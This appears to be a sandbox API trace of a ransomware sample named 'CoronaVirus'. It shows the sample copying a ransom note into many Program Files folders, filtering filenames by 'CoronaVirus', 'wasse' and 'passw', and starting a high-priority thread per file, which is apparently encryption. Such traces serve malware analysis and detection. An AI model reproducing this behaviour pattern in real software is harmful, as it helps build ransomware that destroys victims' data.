	[0084.343] _swprintf (in: param_1=0x2fa3920, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\CoronaVirus.txt") returned 52
	[0084.343] wcsstr (_Str="C:\\Program Files\\Common Files\\System\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.343] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\System\\en-US\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\system\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.346] _alloca_probe () returned 0x4036d0
	[0084.346] malloc (_Size=0x1000) returned 0x2fa4928
	[0084.347] _swprintf (in: param_1=0x2fa4928, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\en-US\\CoronaVirus.txt") returned 58
	[0084.347] wcsstr (_Str="C:\\Program Files\\Common Files\\System\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.347] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.351] _alloca_probe () returned 0x4036d0
	[0084.351] malloc (_Size=0x1000) returned 0x2fa5930
	[0084.351] _swprintf (in: param_1=0x2fa5930, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\CoronaVirus.txt") returned 58
	[0084.351] wcsstr (_Str="C:\\Program Files\\Common Files\\System\\msadc\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.351] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.356] _alloca_probe () returned 0x4036d0
	[0084.356] malloc (_Size=0x1000) returned 0x2fa6938
	[0084.357] _swprintf (in: param_1=0x2fa6938, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\CoronaVirus.txt") returned 64
	[0084.357] wcsstr (_Str="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.357] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.360] _alloca_probe () returned 0x4036d0
	[0084.360] malloc (_Size=0x1000) returned 0x2fa7940
	[0084.360] _swprintf (in: param_1=0x2fa7940, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\CoronaVirus.txt") returned 59
	[0084.360] wcsstr (_Str="C:\\Program Files\\Common Files\\System\\Ole DB\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.360] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.364] _alloca_probe () returned 0x4036d0
	[0084.365] malloc (_Size=0x1000) returned 0x2fa8948
	[0084.365] _swprintf (in: param_1=0x2fa8948, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\CoronaVirus.txt") returned 65
	[0084.365] wcsstr (_Str="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.365] malloc (_Size=0x1000) returned 0x2fa9950
	[0084.365] _swprintf (in: param_1=0x2fa9950, param_2="%s\\%s" | out: param_1="C:\\Program Files\\CoronaVirus.txt") returned 32
	[0084.365] wcsstr (_Str="C:\\Program Files\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.365] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Internet Explorer\\CoronaVirus.txt" (normalized: "c:\\program files\\internet explorer\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.372] _alloca_probe () returned 0x4036d0
	[0084.372] malloc (_Size=0x1000) returned 0x2faa958
	[0084.373] _swprintf (in: param_1=0x2faa958, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Internet Explorer\\CoronaVirus.txt") returned 50
	[0084.373] wcsstr (_Str="C:\\Program Files\\Internet Explorer\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.373] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\CoronaVirus.txt" (normalized: "c:\\program files\\internet explorer\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.375] _alloca_probe () returned 0x4036d0
	[0084.375] malloc (_Size=0x1000) returned 0x2fab960
	[0084.375] _swprintf (in: param_1=0x2fab960, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Internet Explorer\\en-US\\CoronaVirus.txt") returned 56
	[0084.375] wcsstr (_Str="C:\\Program Files\\Internet Explorer\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.375] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Internet Explorer\\images\\CoronaVirus.txt" (normalized: "c:\\program files\\internet explorer\\images\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.378] _alloca_probe () returned 0x4036d0
	[0084.378] malloc (_Size=0x1000) returned 0x2fac968
	[0084.378] _swprintf (in: param_1=0x2fac968, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Internet Explorer\\images\\CoronaVirus.txt") returned 57
	[0084.378] wcsstr (_Str="C:\\Program Files\\Internet Explorer\\images\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.378] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\CoronaVirus.txt" (normalized: "c:\\program files\\internet explorer\\signup\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.381] _alloca_probe () returned 0x4036d0
	[0084.381] malloc (_Size=0x1000) returned 0x2fad970
	[0084.381] _swprintf (in: param_1=0x2fad970, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Internet Explorer\\SIGNUP\\CoronaVirus.txt") returned 57
	[0084.381] wcsstr (_Str="C:\\Program Files\\Internet Explorer\\SIGNUP\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.381] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.384] _alloca_probe () returned 0x4036d0
	[0084.384] malloc (_Size=0x1000) returned 0x2fae978
	[0084.384] _swprintf (in: param_1=0x2fae978, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\CoronaVirus.txt") returned 37
	[0084.384] wcsstr (_Str="C:\\Program Files\\Java\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.384] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.386] _alloca_probe () returned 0x4036d0
	[0084.386] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.390] _alloca_probe () returned 0x4036d0
	[0084.390] malloc (_Size=0x1000) returned 0x2faf980
	[0084.390] _swprintf (in: param_1=0x2faf980, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\CoronaVirus.txt") returned 54
	[0084.390] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.390] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.395] _alloca_probe () returned 0x4036d0
	[0084.396] malloc (_Size=0x1000) returned 0x2fb0988
	[0084.396] _swprintf (in: param_1=0x2fb0988, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\CoronaVirus.txt") returned 63
	[0084.396] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.398] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.400] _alloca_probe () returned 0x4036d0
	[0084.400] malloc (_Size=0x1000) returned 0x2fb1990
	[0084.400] _swprintf (in: param_1=0x2fb1990, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\CoronaVirus.txt") returned 62
	[0084.401] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.401] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.404] _alloca_probe () returned 0x4036d0
	[0084.404] malloc (_Size=0x1000) returned 0x2fb2998
	[0084.405] _swprintf (in: param_1=0x2fb2998, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\CoronaVirus.txt") returned 61
	[0084.405] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.405] malloc (_Size=0x1000) returned 0x2fb39a0
	[0084.405] _swprintf (in: param_1=0x2fb39a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0084.405] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", _SubStr="CoronaVirus") returned 0x0
	[0084.405] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", _SubStr="wasse") returned 0x0
	[0084.405] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", _SubStr="passw") returned 0x0
	[0084.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fb39a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670
	[0084.405] SetThreadPriority (hThread=0x670, nPriority=15) returned 1
	[0084.434] malloc (_Size=0x1000) returned 0x2fb39a0
	[0084.434] _swprintf (in: param_1=0x2fb39a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\CoronaVirus.txt") returned 50
	[0084.434] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.434] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.447] _alloca_probe () returned 0x4036d0
	[0084.450] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.657] _alloca_probe () returned 0x4036d0
	[0084.658] malloc (_Size=0x1000) returned 0x2fb49a8
	[0084.658] _swprintf (in: param_1=0x2fb49a8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\CoronaVirus.txt") returned 60
	[0084.658] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.658] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\applet\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.661] _alloca_probe () returned 0x4036d0
	[0084.661] malloc (_Size=0x1000) returned 0x2fb59b0
	[0084.661] _swprintf (in: param_1=0x2fb59b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\CoronaVirus.txt") returned 61
	[0084.661] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.662] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.711] _alloca_probe () returned 0x4036d0
	[0084.711] malloc (_Size=0x1000) returned 0x2fb69b8
	[0084.711] _swprintf (in: param_1=0x2fb69b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CoronaVirus.txt") returned 58
	[0084.712] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.712] malloc (_Size=0x1000) returned 0x2fb79c0
	[0084.712] _swprintf (in: param_1=0x2fb79c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\CoronaVirus.txt") returned 54
	[0084.712] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.712] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.717] _alloca_probe () returned 0x4036d0
	[0084.718] malloc (_Size=0x1000) returned 0x2fb89c8
	[0084.718] _swprintf (in: param_1=0x2fb89c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\CoronaVirus.txt") returned 61
	[0084.718] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.718] malloc (_Size=0x1000) returned 0x2fb99d0
	[0084.718] _swprintf (in: param_1=0x2fb99d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0084.718] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", _SubStr="CoronaVirus") returned 0x0
	[0084.718] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", _SubStr="wasse") returned 0x0
	[0084.718] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", _SubStr="passw") returned 0x0
	[0084.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fb99d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674
	[0084.719] SetThreadPriority (hThread=0x674, nPriority=15) returned 1
	[0084.720] malloc (_Size=0x1000) returned 0x2fba9d8
	[0084.728] _swprintf (in: param_1=0x2fba9d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0084.728] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.728] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", _SubStr="wasse") returned 0x0
	[0084.728] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", _SubStr="passw") returned 0x0
	[0084.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fba9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c
	[0084.729] SetThreadPriority (hThread=0x67c, nPriority=15) returned 1
	[0084.731] malloc (_Size=0x1000) returned 0x2fbb9e0
	[0084.731] _swprintf (in: param_1=0x2fbb9e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59
	[0084.731] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.731] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", _SubStr="wasse") returned 0x0
	[0084.731] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", _SubStr="passw") returned 0x0
	[0084.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fbb9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684
	[0084.735] SetThreadPriority (hThread=0x684, nPriority=15) returned 1
	[0084.745] malloc (_Size=0x1000) returned 0x2fba9d8
	[0084.745] _swprintf (in: param_1=0x2fba9d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0084.745] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.745] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", _SubStr="wasse") returned 0x0
	[0084.745] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", _SubStr="passw") returned 0x0
	[0084.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fba9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678
	[0084.775] SetThreadPriority (hThread=0x678, nPriority=15) returned 1
	[0084.781] malloc (_Size=0x1000) returned 0x2fb99d0
	[0084.781] _swprintf (in: param_1=0x2fb99d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0084.781] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.782] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", _SubStr="wasse") returned 0x0
	[0084.782] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", _SubStr="passw") returned 0x0
	[0084.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fb99d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688
	[0084.785] SetThreadPriority (hThread=0x688, nPriority=15) returned 1
	[0084.788] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.799] _alloca_probe () returned 0x4036d0
	[0084.799] malloc (_Size=0x1000) returned 0x2fb99d0
	[0084.799] _swprintf (in: param_1=0x2fb99d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\CoronaVirus.txt") returned 58
	[0084.799] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.799] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.803] _alloca_probe () returned 0x4036d0
	[0084.803] malloc (_Size=0x1000) returned 0x2fba9d8
	[0084.803] _swprintf (in: param_1=0x2fba9d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\CoronaVirus.txt") returned 60
	[0084.804] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.804] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.807] _alloca_probe () returned 0x4036d0
	[0084.807] malloc (_Size=0x1000) returned 0x2fbb9e0
	[0084.807] _swprintf (in: param_1=0x2fbb9e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\CoronaVirus.txt") returned 61
	[0084.807] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.807] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\CoronaVirus.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.813] _alloca_probe () returned 0x4036d0
	[0084.813] malloc (_Size=0x1000) returned 0x2fbc9e8
	[0084.813] _swprintf (in: param_1=0x2fbc9e8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\CoronaVirus.txt") returned 69
	[0084.813] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.813] malloc (_Size=0x1000) returned 0x2fbd9f0
	[0084.813] _swprintf (in: param_1=0x2fbd9f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0084.813] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.813] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", _SubStr="wasse") returned 0x0
	[0084.813] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif", _SubStr="passw") returned 0x0
	[0084.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fbd9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680
	[0084.814] SetThreadPriority (hThread=0x680, nPriority=15) returned 1
	[0084.819] malloc (_Size=0x1000) returned 0x2fbe9f8
	[0084.821] _swprintf (in: param_1=0x2fbe9f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0084.824] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", _SubStr="CoronaVirus") returned 0x0
	[0084.824] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", _SubStr="wasse") returned 0x0
	[0084.824] wcsstr (_Str="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", _SubStr="passw") returned 0x0
